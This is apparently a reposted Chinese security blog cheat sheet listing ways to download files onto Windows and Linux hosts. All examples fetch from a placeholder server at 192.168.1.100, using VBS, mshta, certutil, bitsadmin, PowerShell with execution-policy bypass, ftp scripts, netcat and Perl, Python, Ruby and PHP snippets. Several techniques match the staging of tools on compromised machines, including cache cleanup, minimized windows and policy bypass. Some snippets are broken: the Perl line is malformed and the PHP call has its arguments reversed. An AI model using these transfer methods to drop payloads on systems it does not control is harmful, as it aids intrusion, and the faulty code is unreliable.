下载文件的几种方式

admin 2023年12月15日22:45:41评论24 views字数 2682阅读8分56秒阅读模式

Linux 下载文件的方式很多, 一般系统自带的 curl wget 就能搞定, 甚至还可以直接在线 apt yum 安装, 也有很多环境例如 Python Ruby Perl

Windows 就那么几个, 除了 vbs 和 powershell 以外大都是依赖于 microsoft 官方自带的命令行工具.

经典的 iget.vbs, 需要一行一行 echo 写.

iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2

执行方式

cscript //nologo iget.vbs http://192.168.1.100/test.txt C:\test.txt

也可以把 Wscript.Arguments 直接替换成 url.

前提是机器要支持 telnet

server: nc -lvp 2333 < test.txt
client: telnet example.com -f C:\test.txt

1.txt

open 192.168.1.100
username
password
bin
lcd c:/
get test.txt
bye

ftp -s:"C:\1.txt"

hta 执行, 其实还是依赖于 vbs

<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.1.100/test.txt",false);
Object.send();
if (Object.Status == 200)
{
    var Stream = new ActiveXObject("ADODB.Stream");
    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.SaveToFile("C:\\test.txt", 2);
    Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>

执行方式

mshta test.hta

windows 2003 下的应用程序.

执行方式

certutil -urlcache -split -f http://192.168.1.100/test.txt C:\test.txt
certutil -urlcache -split -f http://192.168.1.100/test.txt C:\test.txt delete

和 certutil 一样, 但只适用于 windows 7 以上的系统.

bitsadmin /rawreturn /transfer getfile http://192.168.1.100/test.txt C:\test.txt

以下内容保存为 get.ps1

$client = new-object System.Net.WebClient
$client.DownloadFile('http://192.168.1.100/test.txt', 'C:\test.txt')

执行方式

powershell -ExecutionPolicy Bypass -File .\get.ps1

powershell 3.0 提供了 Invoke-WebRequest 方法.

需要绝对路径.

Invoke-WebRequest -Uri http://192.168.1.100/test.txt -OutFile C:\test.txt

或者一句话执行.

powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.100/test.txt','C:\test.txt')
wget http://192.168.1.100/test.txt -P /root/test.txt

1.sh

ftp 192.168.1.100
username
password
get test.txt
exit

执行方式.

bash 1.sh

或者.

ftpget -u username -P password 192.168.1.100 test.txt

cat test.txt | nc -l 1234
nc 192.168.1.100 1234 > test.txt
#!/usr/bin/perl
use LWP::Simple
getstore("http://192.168.1.100/test.txt "/root/test.txt");
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://192.168.1.100/test.txt')
localFile = open('/root/test.txt', 'wb+')
localFile.write(u.read())
localFile.close()
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("192.168.1.100") { |http|
r = http.get("/test.txt")
open("/root/test.txt", "wb+") { |file|
file.write(r.body)
}
}
<?php
file_put_contents(file_get_contents('http://192.168.1.100/test.txt'), '/root/test.txt');
?>

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日22:45:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   下载文件的几种方式https://cn-sec.com/archives/2304673.html

发表评论

匿名网友 填写信息